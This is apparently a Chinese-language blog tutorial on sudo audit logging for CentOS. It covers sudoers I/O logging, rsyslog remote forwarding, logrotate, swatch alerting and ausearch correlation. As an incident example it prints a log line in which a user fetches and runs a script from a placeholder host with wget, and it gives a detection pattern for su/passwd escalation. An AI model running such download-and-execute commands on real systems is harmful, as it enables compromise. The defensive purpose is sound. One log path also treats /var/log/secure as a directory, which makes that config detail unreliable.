CentOS系统管理员最头疼的,就是有人偷偷用sudo执行了危险命令,事后还查不到是谁干的。其实,完全可以通过配置sudo日志审计,把每一次sudo提权操作的时间、用户、命令、终端都记录下来,甚至能实时追踪和告警。核心方法就是修改/etc/sudoers,利用syslog或rsyslog服务将日志独立存储,并借助工具进行深度分析。

一、为什么CentOS的默认sudo日志靠不住?

很多人以为用sudo执行命令,历史记录自然会留在/var/log/secure里。但这存在三个致命缺陷:首先,日志混杂了SSH登录、认证等多种信息,筛选困难;其次,默认格式只记录“谁在何时用了sudo”,不记录具体执行了“什么命令”,这对审计毫无意义;最后,这些日志容易被有root权限的用户清空或篡改,缺乏完整性保护。因此,必须建立一套独立、详细、防篡改的sudo专用审计日志体系。

二、三步构建坚不可摧的sudo审计日志

实现完整的审计追踪,需要从日志生成、传输存储、分析展示三个层面着手。

1. 配置sudoers,强制记录详细命令

使用visudo命令编辑/etc/sudoers,这是最关键的一步。在文件末尾添加如下配置:

Defaults logfile="/var/log/sudo.log"
Defaults log_input, log_output
Defaults iolog_dir="/var/log/sudo-io/%{user}"
Defaults !syslog

这里有几个精妙之处:log_input会记录运行命令时输入的参数;log_output则会尝试记录命令的屏幕输出(对于交互式命令极有用);iolog_dir为每个用户创建独立的输入输出日志目录。而!syslog是暂时关闭默认syslog记录,避免重复。这样,所有sudo执行的细节都会被完整捕获到/var/log/sudo.log和对应的I/O目录中。

2. 配置rsyslog,实现日志集中与防篡改

仅靠sudo自身写日志不够安全。我们需要用rsyslog接管,实现日志的实时转发和加固。编辑/etc/rsyslog.conf,添加:

# 定义sudo专用日志模板
$template SudoAuditLog, "/var/log/secure/sudo_audit_%$YEAR%%$MONTH%%$DAY%.log"
# 捕获local2设施的所有日志(我们将sudo日志定向到这里)
local2.* ?SudoAuditLog
# 同时发送到远程日志服务器(可选,但强烈建议)
local2.* @@192.168.1.100:514

接着,回到/etc/sudoers,将之前的Defaults !syslog改为Defaults syslog=local2。这样,sudo日志就会通过rsyslog的local2设施写入按日期切割的文件,并同时发送到远程服务器。即使攻击者删除了本地日志,远程还有一份完整记录。

3. 设置日志轮转与权限加固

为防止日志文件无限膨胀,需配置logrotate。创建/etc/logrotate.d/sudo-audit

/var/log/secure/sudo_audit_*.log {
    daily
    rotate 30
    compress
    delaycompress
    missingok
    notifempty
    create 0600 root root
}

同时,必须用文件系统权限加固:chmod 600 /var/log/sudo*chattr +a /var/log/sudo.log(使用chattr +a使日志文件只能追加,不能被删除或修改)。

三、高级追踪:实时告警与异常行为分析

日志存好了,如何从中发现攻击?静态查看不够,需要动态监控。

1. 使用swatch或自定义脚本进行实时告警

安装配置swatch工具,可以监控日志关键词并触发告警。例如,创建/etc/swatchrc

watchfor /sudo.*COMMAND.*\/bin\/su|sudo.*COMMAND.*\/usr\/bin\/passwd/
    echo
    exec "/usr/local/bin/send_alert.sh $0"

这个规则会在有人通过sudo尝试运行supasswd命令(常见提权手法)时,立即执行告警脚本。告警脚本可以集成邮件、即时通讯工具或SIEM系统接口。

2. 使用ausearch整合SELinux审计日志

对于开启了SELinux的CentOS,sudo执行还会在审计子系统留下痕迹。使用ausearch -m USER_CMD -ts today命令,可以检索所有用户命令执行记录,与sudo日志交叉验证,让提权行为无所遁形。

四、实战:从日志中挖出一次完整的提权攻击链

假设我们看到了这样一行sudo日志:

Aug 30 14:22:33 server01 sudo:   deploy : TTY=pts/1 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash -c "wget http://可疑域名/tool.sh && chmod +x tool.sh && ./tool.sh"

这已经非常可疑。管理员应立即:

(1)检查iolog_dir中该用户对应的会话记录,看脚本具体内容;

(2)用ausearch查看同一时间点有无文件创建或权限变更事件;

(3)在系统中搜索tool.sh文件并隔离分析。通过关联分析,可以完整还原攻击者从获得deploy用户sudo权限,到下载执行恶意脚本的整个路径。

五、最佳实践与常见陷阱规避

首先,切勿在sudoers里使用NOPASSWD。这会让日志审计失去意义,因为无需密码即可提权。其次,遵循最小权限原则,为每个用户或组精确配置sudo允许的命令列表,而不是简单的ALL。例如:%developers ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/vi /etc/nginx/conf.d/*

另一个陷阱是忽略时间不同步。务必确保所有服务器使用NTP时间同步,否则跨服务器日志关联分析会失败。最后,定期进行日志审计演练,模拟攻击场景,检验你的日志系统是否能快速定位问题。

总结来说,CentOS的sudo日志审计不是简单地打开一个开关,而是一个从详细记录、安全存储、实时监控到深度分析的完整体系。它既是事后追责的“黑匣子”,也是事前预警的“雷达”。通过本文的配置,你可以将每一次提权操作都置于强监督之下,极大提升系统的安全可观测性和威慑力。